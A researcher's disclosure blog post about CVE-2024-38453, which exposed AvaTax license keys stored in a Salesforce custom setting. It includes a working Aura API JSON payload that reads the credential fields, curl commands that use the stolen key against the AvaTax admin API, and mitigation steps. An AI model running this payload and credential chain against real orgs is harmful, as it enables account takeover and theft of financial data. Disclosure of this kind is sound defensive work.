How Avalara for Salesforce Exposed Financial Organization Data

June 2024, by Andrew Schoonmaker

CVE-2024-38453 - DNYD-2024-01
CVSS: 9.3 - AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

In early February I discovered an interesting Salesforce integration. This is a widely used integration that many organizations have installed as it is readily available on the store. I will explain in this blog post how insecure storage of credentials and weak permission boundaries enable attackers to not just compromise your support portal but cross scope and jump to your integrated apps, in this case Avatax.

Avatax is a product provided by Avalara to integrate into your Salesforce org and automate all kinds of billing and tax data, even going so far as to handle your tax calculations and enterprise nexus registrations with the push of a button. This also means every single customer flows through the system. Think: Banking, Tax Data, Invoice Data, all needs to be present to authorize the Avatax platform to handle your taxes. Access to this is like your crown jewels.

According to the installation documentation, we could see 2 things:

  1. The License Key and Account Number are stored in a custom setting.
  2. The app installation recommends installing for all users.

It’s time to look at the Avatax API, how does authentication work?
https://developer.avalara.com/avatax/authentication-in-rest/

Avalara docs

This page tells us a lot. We’ve learned 3 more things:

  1. The API accepts Basic authentication with the account ID : license key combo.
  2. This API session is admin permissioned.
  3. It’s basically indistinguishable from anyone else.

Putting it all together, this Custom Setting is a juicy target. It’s got everything we need to take over the Avatax account.

Here’s how we did it: Once we have a session on the Salesforce site, we are within that permission boundary installed to all users and can look for an aura-enabled request to intercept. Usually, you can find one hitting /s/sfsites/aura.

Avalara Burp

You can see in this screenshot, we can read all the fields on the record when we use the aura API to read the custom setting. Attached below is the payload, you only need to update the message parameter which Salesforce expects to be JSON and URL Encoded.

{
  "actions": [
    {
      "id": "222;a",
      "descriptor": "aura://RecordUiController/ACTION$getRecordsWithFields",
      "callingDescriptor": "UNKNOWN",
      "params": {
        "recordIds":["**RECORDID**"],
        "fields":["AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__A_AccountNumber__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__B_LicenseKey__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__C_Sandbox__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__D_CompanyCode__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__Disable_AvaTax_Triggers__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__E_Street__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__Enable_AvaTax_Exemptions__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__F_City__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__G_State__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__H_PostalCode__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__I_Country__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__JA_SaveTransactionsToAvaTax__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__J_EnableTaxCalculation__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__K_EnableAddressValidation__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__L_Note__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__Street_2__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.AVA_SFCPQ__Street_3__c","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.CloneSourceId","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.CreatedById","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.CreatedDate","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.CurrencyIsoCode","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.Id","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.IsDeleted","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.LastModifiedById","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.LastModifiedDate","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.Name","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.SetupOwnerId","AVA_SFCPQ__AvaTaxQuoteQuicklySettings__c.SystemModstamp"]
      }
    }
  ]
}


In the response, we can read AVA_SFCPQ__B_LicenseKey__c and AVA_SFCPQ__A_AccountNumber__c.

All we need to do now is hit the API with cURL and “I’m in!”

Here are a couple of requests I used to demonstrate the impact while I walked around the Avatax account with full admin permission!

curl ‘https://acctid:[email protected]/api/v2/users' | jq
curl ‘https://acctid:[email protected]/api/v2/companies' | jq

If you really want to push it to the limit, you can read their API docs here

Lastly, mitigation for this should involve at a minimum 3 steps:

  • Upgrade the app integration to the latest version.
  • Rotate the license key immediately.
  • Review activity logs on both cloud environments for anomalous activity.

You may want to check out our tool AuraQL which can help analyze your org for these kinds of findings, it is important to remember that even your custom apps can expose you to risk if your permission boundary isn’t tightly controlled.